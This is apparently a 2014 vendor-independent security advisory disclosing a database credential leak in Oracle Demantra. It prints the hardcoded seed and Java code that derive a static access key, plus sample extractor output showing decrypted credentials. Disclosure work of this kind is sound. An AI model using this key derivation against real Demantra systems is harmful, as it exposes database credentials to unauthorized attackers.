Vulnerability title: Database Credentials Leak In Oracle Demantra
|Reported by:||Oliver Gruskovnjak|
Demantra has a backend function that allows anyone to retrieve the database instance name and the corresponding credentials.
The target URL is:
Now the UAK key is calculated statically:
String encryptedPassword = new String(CryptographicService.encodeHashStringHex("er6Us8wB", "SHA-256")); StringBuffer tmp = new StringBuffer("sge"); tmp.append(0); tmp.append(encryptedPassword); uak = new String(CryptographicService.encodeHashStringHex(tmp.toString(), "SHA-256"));
From that information it is possible to create a simple extractor:
pixel:demantra user$ java getUAK -=[Oracle Demantra Database Details Retriever ]=- [+] UAK Key is: 406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1 [+] Retrieved the following encrypted string: 4,21,3,4,111,36,53,35,36,111,52,53,61,49,62,36,34,49,111,63,34,51,111,97, [+] Decrypted string is: TEST?test?demantra?orc?1
Together with the authentication bypass this can be exploited unauthenticated as well.
A remote, unauthenticated attacker could exploit this issue in combination with other found issues, to extract the database credentials and instance name.
Exploit code is not required.
Copyright © Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user’s risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.